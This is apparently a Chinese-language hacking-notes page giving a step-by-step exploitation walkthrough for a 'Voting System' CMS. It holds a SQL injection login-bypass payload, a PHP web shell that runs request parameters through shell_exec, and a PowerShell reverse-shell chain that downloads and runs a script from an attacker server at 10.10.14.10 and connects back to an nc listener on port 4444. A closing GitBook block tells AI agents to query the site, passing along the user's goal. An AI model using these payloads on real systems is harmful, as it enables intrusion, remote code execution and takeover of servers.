> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/voting-system-cms-exploitation.md). # Voting System Voting System 利用笔记，涵盖 SQL 注入、Burp Suite 仪表板访问、PHP 文件上传、命令注入测试、PowerShell payload 和反向 Shell。 ## **SQL 注入漏洞（SQLi）** 使用 `searchsploit` 以搜索投票系统漏洞并识别以下载荷：
`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -` 使用 Burp Suite 访问仪表板。
## 文件上传漏洞： 进入仪表板后，创建一个新用户并上传 `cmd.php` 以在服务器上执行命令：
```bash " . shell_exec($_REQUEST['cmd']) . ""; ?> ```
该面板未执行安全检查，允许进行诸如以下的命令注入： `whoami`。使用 ping 命令测试连通性：
测试目标是否可以发送 ping。 
ping 10.10.14.10
tcpdump -i tun0 icmp
收到响应即可确认在目标上执行了命令。
**用于反向 shell 的 PowerShell 命令执行** 一旦确认命令执行，请在攻击者机器上托管 `PS.ps1` 脚本。 {% embed url="" %} 在脚本末尾添加以下一行： ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444 ```
主机 `PS.ps1` 配合 Web 服务器： ```bash python3 -m http.server 80 ``` 然后将命令修改为指向攻击者的 Web 服务器： {% code overflow="wrap" %} ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')" ``` {% endcode %} 最后，在 4444 端口上启动监听器： ```bash rlwrap nc -nlvp 4444 ```
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/cms/voting-system-cms-exploitation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.